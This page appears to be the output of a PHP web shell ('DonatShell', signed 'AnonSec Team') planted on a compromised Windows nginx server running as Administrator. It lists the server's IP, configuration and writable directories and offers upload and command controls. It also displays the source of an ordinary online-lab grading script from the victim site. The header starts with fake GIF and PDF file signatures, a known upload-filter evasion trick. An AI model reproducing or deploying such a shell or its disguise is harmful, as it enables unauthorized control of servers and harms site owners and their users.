GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Class/OnlineLab/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Class/OnlineLab/QuestionGrade.phpinc
<?
// Class/OnlineLab/QuestionGrade.phpinc
// Grade the question answers.

if (da()) debugTrackBegin();

if ( isset($_SESSION['userId']) && $_SESSION['userId'] == -1 ) $DEBUG_QuestionGrade = true;
if ( !isset($DEBUG_QuestionGrade) ) $DEBUG_QuestionGrade = false;

if ( $DEBUG_QuestionGrade ) {
	printVar('$f_questionNum',$f_questionNum,'/');
	printVar('$gradeanswerInfo',$gradeanswerInfo,'f');
}
// Get the question part answers.
if ( !isset($QuestionAnswerPart['Answer']) ) $QuestionAnswerPart['Answer'] = array();
if ( $gradeanswerInfo[$f_questionNum]['gradeId'] ) {
	$QuestionAnswerPart[$f_questionNum]['Answer'] = explode(",",$gradeanswerInfo[$f_questionNum]['gradeanswerAnswer']); // The answers given for each question part.
	array_unshift($QuestionAnswerPart[$f_questionNum]['Answer'],''); // Add an empty element to the beginning of $QuestionAnswerPart[$f_questionNum]['Answer'].
} else {
	$QuestionAnswerPart[$f_questionNum]['Answer'] = array();
}
// If question part has not been answered set to 0.
foreach ( $QuestionPart['Answer'][$f_questionNum] as $QuestionPartAnswerCorrectIndex => $CorrectAnswer ) {
  if ( !isset($QuestionAnswerPart[$f_questionNum]['Answer'][$QuestionPartAnswerCorrectIndex]) ) $QuestionAnswerPart[$f_questionNum]['Answer'][$QuestionPartAnswerCorrectIndex] = 0;
}
/** /
if ( $DEBUG_QuestionGrade ) {
	printVar("\$gradeanswerInfo[$f_questionNum]['gradeanswerAnswer']",$gradeanswerInfo[$f_questionNum]['gradeanswerAnswer'],'f');
	printVar("\$QuestionAnswerPart[$f_questionNum]['Answer']",$QuestionAnswerPart[$f_questionNum]['Answer'],'f');
}
/**/
if ( !isset($QuestionAnswerPart[$f_questionNum]) ) $QuestionAnswerPart[$f_questionNum] = array();
if ( !isset($QuestionAnswerPart[$f_questionNum]['Count']) ) $QuestionAnswerPart[$f_questionNum]['Count'] = array();
// Required answered count per question.
$QuestionAnswerPart[$f_questionNum]['Count']['Required'] = 0;
// Extra credit answered count per question.
$QuestionAnswerPart[$f_questionNum]['Count']['ExtraCredit'] = 0;
// Correct answer count per question.
$QuestionAnswerPart[$f_questionNum]['Count']['Correct'] = 0;
// Points per question per question part.
if ( !isset($QuestionAnswerPart[$f_questionNum]['Value']) ) $QuestionAnswerPart[$f_questionNum]['Value'] = array();
$QuestionAnswerPart[$f_questionNum]['Value'] = array();
if ( !isset($GradePart[$f_questionNum]) ) $GradePart[$f_questionNum] = array();
// Points total per question.
$GradePart[$f_questionNum]['Points'] = 0;
// Grade percentage per question.
$GradePart[$f_questionNum]['Percentage'] = 0;
// Points added to grade.
$GradePart[$f_questionNum]['GradeAdded'] = formValue('gradeanswerGradeAdded');
#printVar("\$GradePart[$f_questionNum]['GradeAdded']",$GradePart[$f_questionNum]['GradeAdded']);
if ( $GradePart[$f_questionNum]['GradeAdded'] === false ) {
	if ( isset($gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded']) ) {
		$GradePart[$f_questionNum]['GradeAdded'] = $gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded'];
	} else {
		$GradePart[$f_questionNum]['GradeAdded'] = 0;
	}
}
if ( $GradePart[$f_questionNum]['GradeAdded'] == '' ) $GradePart[$f_questionNum]['GradeAdded'] = 0;
#printVar("\$GradePart[$f_questionNum]['GradeAdded']",$GradePart[$f_questionNum]['GradeAdded']);

for ( $questionPartNum=1; $questionPartNum<=$QuestionPart['Count']['Total']; $questionPartNum++ ) {
	if ( $QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum] ) {
		// Question part answered.
		if ( $QuestionPart['Value'][$questionPartNum] > 0 ) {
		  $QuestionAnswerPart[$f_questionNum]['Count']['Required']++;
		} else {
		  $QuestionAnswerPart[$f_questionNum]['Count']['ExtraCredit']++;
		}
		if ( $QuestionAnswerPart[$f_questionNum]['Answer'][$questionPartNum] == $QuestionPart['Answer'][$f_questionNum][$questionPartNum] ) {
			// Correct answer given.
		  $QuestionAnswerPart[$f_questionNum]['Count']['Correct']++; // Add to $QuestionAnswerPart['Count'].
			$pointsForQuestionPart = abs($QuestionPart['Value'][$questionPartNum]);
			$GradePart[$f_questionNum]['Points'] += $pointsForQuestionPart; // Add to $QuestionAnswerPart['Points'].
			$QuestionAnswerPart[$f_questionNum]['Value'][$questionPartNum] = $pointsForQuestionPart; // Keep answer value per question per question part.
		} else {
			// Incorrect answer given.
			$QuestionAnswerPart[$f_questionNum]['Value'][$questionPartNum] = false;
		}
	} else {
		// Question part not answered.
		$QuestionAnswerPart[$f_questionNum]['Value'][$questionPartNum] = false;
	}
}
// Calculate grade for this question.
// Calculate grade percentage to this question.
$GradePart[$f_questionNum]['Percentage'] = gradePercentage($GradePart[$f_questionNum]['Points'],$QuestionPart['Points']['Required']);

$f_gradeanswerGrade = $GradePart[$f_questionNum]['Points'] ;
if ( $DEBUG_QuestionGrade ) {
	printVar("\$QuestionAnswerPart[$f_questionNum]",$QuestionAnswerPart[$f_questionNum],'f');
	printVar("\$GradePart[$f_questionNum]",$GradePart[$f_questionNum],'f');
}

if (da()) debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team